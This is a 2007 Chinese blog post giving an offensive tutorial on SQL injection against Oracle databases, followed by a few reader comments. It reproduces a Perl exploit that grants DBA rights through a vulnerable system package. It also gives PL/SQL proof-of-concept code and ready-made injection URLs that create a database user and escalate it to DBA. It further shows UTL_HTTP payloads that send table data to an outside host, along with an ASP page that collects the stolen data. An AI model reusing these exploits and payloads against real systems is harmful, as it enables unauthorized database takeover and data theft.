Artificial Intelligence

Terminator:Skynet...010010001000010000010000100001000101010100101001010101001001010001001010000101001010101001010101010100101010100101001010100101001001010010100101100101010101011111010100101011101111

kj021320ID:kj021320
[修改头像]
359364次访问,排名124好友0人,关注者0
kj021320的文章
原创 92 篇
翻译 1 篇
转载 22 篇
评论 90 篇
Terminator:Skynet的公告
ID: kj021320
Name: Skynet(AI)
QQ: 282720807
mail:kj021320@126.com
mail:kj021320@gmail.com
http://blog.csdn.net/I_S_T_O/
艾尔斯帝欧
最近评论
mickey:靠...
不愧是和LV整天住在一起的.转文都一起转.刚在他BLOG看过这篇文.
kj:不是两个人用,是同一个人用,SESSION资源竞争而权限提升
Mr.X:纸上谈兵··一台浏览器有可能会同时被两个人用么?!
mickey:先说牛逼,再看文章.
wa:好感动!哇~~~~
软件项目交易
订阅我的博客
XML聚合  FeedSky
订阅到鲜果
订阅到Google
订阅到抓虾
订阅到BlogLines
订阅到Yahoo
订阅到GouGou
订阅到飞鸽
订阅到Rojo
订阅到newsgator
订阅到netvibes
文章分类
收藏
    相册
    程序截图
    我的茅舍
    装B的图片
    ISTO成员
    AMXSA's BLOG--PHP高手
    I.C.E'blog一位网络高手
    LIVING's BLOG
    MASK's BLOG--- ASP/Delphi
    SUMMER--搜索引擎开发者
    Security
    milw0rm
    red database security
    技术
    Ada Joint Program Office
    ADA Program Language
    ALL jar download
    BEA DOCUMENTS
    Caucho Technology
    codeproject
    CURL WEB Program language
    D language document
    Documentation at PDC
    Firebird Documentation
    Flex LiveDocs
    FreeBSD Document
    FreeMarker template engine
    hadoop分布式
    IBM informix文档中心
    IBM RedBooks Search
    InternetEngineeringTaskForce
    jakarta-apache.LOG4J
    jcaptcha
    LINUX Documentation
    MIT's OpenCourseWare
    MSDN WEBCAST
    MySQL Reference Manual
    nokia sdk document
    novell-documentation
    ORACLE documentation
    Perl Documentation
    PHP.net Document
    planet-source-code
    PostgreSql Document
    Python Documentation
    reflector
    SapDB documentation
    SourceForge
    SQLite cn
    Sybase Online Document
    teradata Resources
    Velocity Java template engine
    WebWork - Documentation
    Web标准组织
    看雪学院
    美国基因组研究所
    友情连接
    ADK成员-C#
    K' 同学的BLOG
    NetMiner's BLOG
    rainnyzhong--ORACLE
    一个忘不了的好友,我的领路人
    忍者's BLOG
    精灵
    黑客榜中榜
    存档

    原创 ART OF WEB-SQL-INJECTION第2卷 ORACLE篇

    新一篇: DB2 SQL Injection Cheat Sheet

    ART OF WEB-SQL-INJECTION第2卷 ORACLE篇
    author : kj021320
    team: I.S.T.O
    很多人都说什么ASP PHP JSP注射 其实注射最直接是跟数据库有关!然而那些脚本只是一种辅助
    例如ASP/ASPX JSP 啥限制都没!而PHP则会把' 过滤为\' 但是若然不是MYSQL POSTGRESQL SQLITE的话这个功能就废了!
    但是我觉得这些脚本语言都不狠~如果CFM的话 估计你就没折了! 具体各数据库相关信息请参看
    ART OF WEB-SQL-INJECTION第1卷 感谢AMXSA以及I.C.E多我的支持

    OK言归正传,在国外对ORACLE的攻击一直很收关注,只是国内研究的人不太多,或者技术不够~这里我就打响第一炮吧!
    SQLINJECTION 都是要看数据库的SQL解析引擎的 ,ORACLE这个就不支持多语句执行了!
    大家要是用PLSQL那些工具可以用; 来执行多个语句 !
    那是因为工具上面帮你做了多个语句分别提交
    ORACLE注射在国外提出了好些攻击方式,但是能够web sql injection利用的没多少!
    在早期ngs 和 ARGENISS 都相对提出了 FUNCTION/PROCEDURE 的注入方式!
    也就是用户自己定义的一些函数或者存储过程会存储SQL-INJECTION
    我拿一个MSSQL的函数作为例子
    create function ISTO_KJ021320(@sql varchar(100))
    RETURNS int
    begin
     exec('SELECT * FROM KJ021320 WHERE NAME='''+ @sql +'''');
    end
    以上这样的方式无疑@sql这个参数没有过滤 存在SQL注入了!
    同样在ORACLE中这样的方式特别出众,首先从用户定义的函数到系统函数
    系统包里面的函数一般都是操作一些系统表!普通用户是无办法查取的
    但是调用这些系统函数就可以获取相应的信息~
    很容易理解ORACLE权限管理的机制

    用户--->调用函数(继承函数创建者的权限)--->执行操作
    那么我们只需要做的是改函数里面的操作 进行添加用户,建DBA等...

    milw0rm securityfocus 红色数据库安全 ...公布的方法都是很简单的说给了应用而没有说明道理~
    那就由我代劳翻印讲解一下吧~
    例如以下的官方公布的是
    DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION 这个包的这个函数存储INJECTION
    OK 在 milw0rm上面公布的 exploit 是一段PERL写的代码

    use warnings;
    use strict;
    use DBI;
    use Getopt::Std;
    use vars qw/ %opt /;

    sub usage {
        print <<"USAGE";
       
    Syntax: $0 -h <host> -s <sid> -u <user> -p <passwd> -g|-r [-P <port>]

    Options:
         -h     <host>     target server address
         -s     <sid>      target sid name
         -u     <user>     user
         -p     <passwd>   password

         -g|-r             (g)rant dba to user | (r)evoke dba from user
        [-P     <port>     Oracle port]

    USAGE
        exit 0
    }

    my $opt_string = 'h:s:u:p:grP:';
    getopts($opt_string, \%opt) or &usage;
    &usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} );
    &usage if ( !$opt{g} and !$opt{r} );
    my $user = uc $opt{u};

    my $dbh = undef;
    if ($opt{P}) {
        $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}", $opt{u}, $opt{p}) or die;
    } else {
        $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die;
    }

    my $sqlcmd = "GRANT DBA TO $user";
    print "[-] Wait...\n";

    if ($opt{r}) {
        print "[-] Revoking DBA from $user...\n";
        $sqlcmd = "REVOKE DBA FROM $user";
        $dbh->do( $sqlcmd );
        print "[-] Done!\n";
        $dbh->disconnect;
        exit;
    }

    print "[-] Creating evil function...\n";
    $dbh->do( qq{
    CREATE OR REPLACE FUNCTION OWN RETURN NUMBER
     AUTHID CURRENT_USER AS
     PRAGMA AUTONOMOUS_TRANSACTION;
    BEGIN
     EXECUTE IMMEDIATE '$sqlcmd'; COMMIT;
     RETURN(0);
    END;
    } );
     
    print "[-] Go ...(don't worry about errors)!\n";
    my $sth = $dbh->prepare(qq{
    BEGIN
     SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION('''||$user.own||''');
    END;
    });
    $sth->execute;
    $sth->finish;
    print "[-] YOU GOT THE POWAH!!\n";
    $dbh->disconnect;
    exit;

    -------


    以上 的方法其实就是 首先自己要建立一个函数叫 OWN 里面的操作就是
    GRANT DBA TO $user  把DBA权限授予某个用户!
    然后到有存在注入的存储过程中
    SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION( 放入OWN函数  );
    因为
    ACTIVATE_SUBSCRIPTION方法存在注射
    所以会直接执行 own函数 去添加一个权限
    这里演示的是 需要先建立一个函数的!但是我们WEB SQL INJ的时候不能写多个SQL来建个函数啊!
    有什么方法?
    ACTIVATE_SUBSCRIPTION存在注射 当然也可以把后面的语句屏蔽了!跟我们WEB SQL INJ差不多
    具体怎么知道应该怎样检测挖掘ORACLE的函数注入,下次我会写篇<<检测函数注入in ORACLE>>的文章

    以上原理介绍完了 开始实战!
    记得 很多文章说要是SQL语句这样子写
    sqlstr="begin select * from kj021320 where name=$name;end;";
    可以执行多语句!其实这个是废话!现在写代码的哪个会这样~一般都直接操作SQL了
    sqlstr="select * from kj021320 where name=$name";
    所以在,ORACLE WEB中SQL注射只能使用函数,存储过程不能使用!具体为什么自己去看看文档

    在web 存在一个注射点
    http://127.0.0.1:8080/VOA/test.jsp?id=282  数字型的
    那么我们首先来确认这个用户的权限
    http://127.0.0.1:8080/VOA/test.jsp?id=282 and exists(select * from dba_tables)
    在这里一个小细节
    讲讲ORACLE的系统表部分
    DBA开头的 只有DBA权限的用户才能访问例如 DBA_USERS DBA_TABLES
    而一般用户都能查询
    user_tables 跟 all_tables这两个系统表 前者是本用户自己的表! 后者是自己的表以及人家授权给你查询的表!
    一般注射软件只需要查询这两个表就可以获取用户的表结构了

    回到上面的注射一般都会返回false的!
    没关系其实有函数注射 权限对我们来说不重要~
    那现在怎么确认ORACLE主机的位置呢? 也就是说他的IP跟WEB是不是同一个机器
    那么我们采用
    UTL_HTTP 这个包里面的 request函数
    例子:
    SELECT UTL_HTTP.request('http://www.isto.cn/getdata.asp?data='||TABLE_NAME) FROM USER_TABLES WHERE ROWNUM<=1
    他会把数据当作URL请求发送出去!具体大型数据库都有远程数据调用的方式 可以参看
    ART OF WEB-SQL-INJECTION第1卷

    那么我们怎么构造这个注射呢?很简单!
    http://127.0.0.1:8080/VOA/test.jsp?id=282 and '1'in(SELECT UTL_HTTP.request('http://www.isto.cn/getdata.asp?data='||TABLE_NAME) FROM USER_TABLES)
    这样子!
    然而我们得构造一个页面接收请求的参数!ASP简单实现
    <%
     if request("data")="" then
      response.Write Application("oracle_data")
     else
      dim dataValue
      dataValue=request.ServerVariables("REMOTE_HOST") & " data : " & request("data") & "<br>"
      if request("clear")<>"" then
       Application("oracle_data")=dataValue
      else
       Application("oracle_data")=Application("oracle_data") & dataValue
      end if
     end if
    %>
    除非他数据库是内网 不然一般我们都可以获取他的IP地址以及数据~ 比猜表还快!

    接下来我们可以获取他的IP 然后扫他的ORA端口 SID可以通过SELECT查询获取 或者用tnscmd检测!

    节下来我就直接一点了!
    拿出 06年国外公布的一个ODAY
    GET_DOMAIN_INDEX_TABLES 但是国外好象没给出更多的利用信息
    就是这样而已,看当时的说明

    CREATE OR REPLACE
    PACKAGE MYBADPACKAGE AUTHID CURRENT_USER
    IS
    FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
    VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
    RETURN NUMBER;
    END;
    /
    CREATE OR REPLACE PACKAGE BODY MYBADPACKAGE
    IS
    FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
    VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
    RETURN NUMBER
    IS
    pragma autonomous_transaction;
    BEGIN
    EXECUTE IMMEDIATE 'GRANT DBA TO HACKER';
    COMMIT;
    RETURN(1);
    END;
    END;
    /
    DECLARE
    INDEX_NAME VARCHAR2(200);
    INDEX_SCHEMA VARCHAR2(200);
    TYPE_NAME VARCHAR2(200);
    TYPE_SCHEMA VARCHAR2(200);
    VERSION VARCHAR2(200);
    NEWBLOCK PLS_INTEGER;
    GMFLAGS NUMBER;
    v_Return VARCHAR2(200);
    BEGIN
    INDEX_NAME := 'A1'; INDEX_SCHEMA := 'HACKER';
    TYPE_NAME := 'MYBADPACKAGE'; TYPE_SCHEMA := 'HACKER';
    VERSION := '10.2.0.2.0'; GMFLAGS := 1;
    v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(
    INDEX_NAME => INDEX_NAME, INDEX_SCHEMA => INDEX_SCHEMA, TYPE_NAME
    => TYPE_NAME,
    TYPE_SCHEMA => TYPE_SCHEMA, VERSION => VERSION, NEWBLOCK =>
    NEWBLOCK, GMFLAGS => GMFLAGS
    );
    END;
    /

    具体注射点在第3个参数
    我现在不采用函数形式
    直接在里面插入SQL语句

    SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''CREATE USER KJ021320 IDENTIFIED BY KJ021320'''';END;'';END;--','SYS',0,'1',0)
    这样就可以建立一个用户了!
    我们构造SQL

    http://127.0.0.1:8080/VOA/test.jsp?id=282 and ''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''CREATE USER KJ021320 IDENTIFIED BY KJ021320'''';END;'';END;--','SYS',0,'1',0)=''
    这样提交就会建立一个KJ021320用户 而密码也是KJ021320
    可以了建立了用户也不行~~先给这个用户添加连接的权限
    http://127.0.0.1:8080/VOA/test.jsp?id=282 and ''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''GRANT CONNECT TO KJ021320'''';END;'';END;--','SYS',0,'1',0)=''
    再用此方法添加一个DBA权限! 既然你是ORACLE的DBA 那采用什么方法去写本地文件拿shell
    方法多的是!别说备份了!PRO*C  SQLJ都可以!接下来留给你们吧!

     

    视频演示http://www.isto.cn/vedio/artwebinj-oracle.rar 

    发表于 @ 2007年08月28日 20:57:00|评论(loading...)|编辑

    旧一篇: 今天狂言冒犯了一位PST(幻影旅团)的大哥...

    评论

    #是我 发表于2007-10-14 10:42:18  IP: 218.202.107.*
    isto的论坛怎么打不开
    #poison 发表于2008-01-10 18:12:23  IP: 222.65.24.*
    难道LZ也在看 the database hacker's handbook?????
    #kj021320 发表于2008-01-10 19:28:17  IP: 121.0.31.*
    不记得了!-_-
    发表评论  


    登录
    Csdn Blog version 3.1a
    Copyright © Terminator:Skynet